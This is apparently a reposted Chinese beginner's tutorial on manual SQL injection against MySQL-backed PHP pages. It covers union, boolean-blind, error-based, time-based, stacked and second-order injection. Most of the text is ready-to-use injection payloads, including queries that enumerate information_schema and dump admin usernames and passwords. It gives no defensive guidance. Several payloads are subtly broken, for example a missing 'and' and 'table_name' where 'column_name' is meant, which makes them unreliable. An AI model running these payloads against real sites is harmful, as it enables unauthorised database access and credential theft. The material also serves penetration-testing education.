SQL手工注入入门级笔记(更新中)
一、字符型注入
針對(duì)如下php代碼進(jìn)行注入:
$sql="select user_name from users where name='$_GET['name']'";select user_name from users where name='admin'
http://url/xxx.php?name=admin' and '1'='1' --'select user_name from users where name='admin' and '1'='1' --''
在上面的sql語句中可以發(fā)現(xiàn),通過閉合原本的單引號(hào),在后面添加新的查詢語句,可達(dá)到注入目的。(mysql中兩個(gè)單引號(hào)中間為空會(huì)被忽略,若出現(xiàn)單個(gè)單引號(hào)會(huì)有語法錯(cuò)誤。)
成功后可以開始進(jìn)行猜解數(shù)據(jù)庫(kù)了:
1、猜字段數(shù)
and 1=2 union?select 1,2,3,4,5,6……(字段數(shù)為多少,后面的數(shù)字就到幾,如union?select 1,2,3,4,5能夠成功返回結(jié)果則表示字段數(shù)為5)
或
order?by 6 (?當(dāng)某一數(shù)字正常返回頁面就表示有多少個(gè)字段)
2、查庫(kù)
and 1=2 union select 1,2,3,database(),5,6--+? ? ? ?(利用第四個(gè)字段的顯示位來顯示數(shù)據(jù)庫(kù)名,具體位置看具體網(wǎng)站)
3、查表
and 1=2 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()--+? ? ? ?(以MySQL為例 )
4、查字段
and 1=2 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema=database() and table_name='admin'--+? ? ? ?(以MySQL為例,其中admin和單引號(hào)?可以使用admin的十六進(jìn)制代替,其他內(nèi)容也可以。 )
5、查內(nèi)容
and 1=2 union select 1,2,3,group_concat(username,password),5,6 from admin --+
上述單引號(hào)括起來的內(nèi)容可以替換為內(nèi)容的十六進(jìn)制繞過單引號(hào)過濾。
?
二、布爾盲注(Boolean?with?blind SQL injection)
第一步:猜數(shù)據(jù)庫(kù)長(zhǎng)度
?id=1' and length(database())>=1--+
>=1可以自己結(jié)合場(chǎng)景自己更換。
第二步:猜數(shù)據(jù)庫(kù)名
?id=1' and substr(database(),1,1)='a'--+? ?普通版
?id=1' and?ord(substr(database(),1,1))=97 --+? ?ASCII碼版---與上面意思相同
substr為截取字符串,從1開始。上面這段表示從1開始截取1個(gè)字符。
ord為MySQL中轉(zhuǎn)換ASCII碼的函數(shù)。
當(dāng)測(cè)出第一個(gè)字符以后測(cè)試第二個(gè)字符?用substr(database(),2,1)=‘a(chǎn)’--+,一共需要測(cè)到第一步中猜測(cè)出來的長(zhǎng)度。
第三步:猜表名
?id=1' and substr((select table_name from information_schema.tables where table_schema=database()?limit 0,1),1,1)='a'--+? ?直接版可以不用猜解數(shù)據(jù)庫(kù)名
?id=1' and substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1)='a'--+? ?普通版?使用第二步猜解出來的數(shù)據(jù)庫(kù)名
?id=1' and?ord(substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1))=97 --+? ?ASCII碼版---與上面意思相同
limit?函數(shù)表示取出內(nèi)容的條數(shù)范圍,從0開始。上段內(nèi)容limit 0,1表示從第一個(gè)開始取1條。則從第二個(gè)開始取一條為:limit 1,1。
第三步:猜字段名
?id=1' and substr((select table_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1),1,1)='a'--+? ?直接版可以不用猜解數(shù)據(jù)庫(kù)名
?id=1' and substr((select table_name from information_schema.columns where table_schema='sql' table_name='admin' limit 0,1),1,1)='a'--+? ?普通版?使用第二步猜解出來的數(shù)據(jù)庫(kù)名
?id=1' and?ord(substr((select table_name from information_schema.columns where table_schema='sql' table_name='admin' limit 0,1),1,1))=97 --+? ?ASCII碼版---與上面意思相同
上述單引號(hào)括起來的內(nèi)容可以替換為內(nèi)容的十六進(jìn)制繞過單引號(hào)過濾。
第四步:猜內(nèi)容
?id=1' and substr((select username from admin?limit 0,1),1,1)='a'--+? ?直接版可以不用猜解數(shù)據(jù)庫(kù)名
?id=1' and substr((select username from admin limit 0,1),1,1)='a'--+? ?普通版?使用第二步猜解出來的數(shù)據(jù)庫(kù)名
?id=1' and?ord(substr((select username from admin limit 0,1),1,1))=97 --+? ?ASCII碼版---與上面意思相同
?
三、報(bào)錯(cuò)注入
由于程序員或網(wǎng)站維護(hù)人員的配置不當(dāng),錯(cuò)誤信息被輸出到了前臺(tái),導(dǎo)致可以根據(jù)報(bào)錯(cuò)進(jìn)行一系列的操作。
因此可以利用報(bào)錯(cuò)注入獲取數(shù)據(jù),報(bào)錯(cuò)注入有很多格式,這里使用updatexml()
1、利用updatexml獲取user()
?user=admin‘ and updatexml(1,concat(0x7e,(select user())),1)--+
0x7e為ASCII碼的 ~?波浪號(hào),為了在返回的報(bào)錯(cuò)信息中很方便的查看到想要注入得到的數(shù)據(jù),沒有別的功能性作用。
2、利用updatexml獲取database()
?user=admin‘ and updatexml(1,concat(0x7e,(select database())),1)--+
3、利用updatexml獲取數(shù)據(jù)庫(kù)內(nèi)容
查表名:?user=admin‘ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)--+
查詢其他內(nèi)容就不一一列舉,在上面一、二板塊有詳細(xì)內(nèi)容,融會(huì)貫通靈活運(yùn)用就可以。
其他報(bào)錯(cuò)函數(shù)利用原理大致相同。
?
四、延時(shí)盲注攻擊(Sleep with?blind SQL injection)
又稱為時(shí)間盲注,與Boolean注入非常相似,不同之處在于延時(shí)注入使用的是sleep()、benchmark()等造成延時(shí)的函數(shù)從頁面返回耗時(shí)來判斷。
多用IF(exp1,exp2,exp3)結(jié)合使用,若exp1為真,則返回exp2,若exp2為假,則返回exp3。
1、判斷數(shù)據(jù)庫(kù)名長(zhǎng)度
?id=1' and if(length(database())>=3,sleep(5),1)
sleep函數(shù)中的參數(shù)單位為秒。若數(shù)據(jù)庫(kù)長(zhǎng)度>=3則睡5秒再返回內(nèi)容給你,否則直接查詢1返回結(jié)果。
2、判斷數(shù)據(jù)庫(kù)內(nèi)容
?id=1' and if(?ord(substr((select column_name from information_schema.columns where table_schema='sql' and table_name='admin' limit 0,1),1,1))=97,sleep(5),1)? 猜字段名
?id=1' and if(substr((select username from admin?limit 0,1),1,1)='a',sleep(5),1)? 猜字段內(nèi)容
其他查詢語句可以參考上面一、二介紹的語句。
?
五、堆疊查詢注入攻擊
?id=1’?加了單引號(hào)頁面返回錯(cuò)誤,?id=1' %23以后頁面返回正常則可以利用。
閉合原本的查詢語句,構(gòu)造自己的查詢語句(利用方式為布爾盲注和時(shí)間盲注)。
1、猜數(shù)據(jù)庫(kù)名
?id=1'%23 select if(substr(database(),1,1)='a',sleep(5),1)%23? ?這里利用的是時(shí)間盲注
?id=1'%23 select if(ord(substr(database(),1,1))=97?,sleep(5),1)%23? ?這里利用的是布爾盲注
2、猜數(shù)據(jù)庫(kù)內(nèi)容
?id=1'%23?if(ord(substr((select?table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1))=97,sleep(5),1)%23?猜表名
?id=1'%23?if(ord(substr((select column_name from information_schema.columns where table_schema='sql' and table_name='admin' limit 0,1),1,1))=97,sleep(5),1)%23?猜字段名
其他查詢語句可以參考上面一、二、三、四介紹的語句。
?
六、二次注入
某一次用戶輸入的惡意構(gòu)造內(nèi)容被保存到數(shù)據(jù)中,當(dāng)?shù)诙螐臄?shù)據(jù)庫(kù)中去獲取該內(nèi)容時(shí),用戶輸入的惡意SQL語句截?cái)嗔说诙尾樵兊牟樵冋Z句,執(zhí)行了用戶構(gòu)造的語句。
比如在注冊(cè)用戶時(shí)?用戶名設(shè)置為?test‘?在test后面加個(gè)單引號(hào),沒有過濾輸入而保存到數(shù)據(jù)庫(kù)中。當(dāng)去訪問個(gè)人中心時(shí),發(fā)現(xiàn)顯示用戶名的地方出現(xiàn)了數(shù)據(jù)庫(kù)報(bào)錯(cuò),單引號(hào)被帶到了查詢語句中執(zhí)行了。
原理就是系統(tǒng)對(duì)數(shù)據(jù)庫(kù)中的內(nèi)容沒有進(jìn)行過濾而是采取信任,導(dǎo)致從外部無法注入?yún)s從內(nèi)部上查詢中注入成功。
?
轉(zhuǎn)載于:https://www.cnblogs.com/iAmSoScArEd/p/10593234.html
總結(jié)
以上是生活随笔為你收集整理的SQL手工注入入门级笔记(更新中)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Introduction of Vers
- 下一篇: 点击删除表格中的行并提交到数据库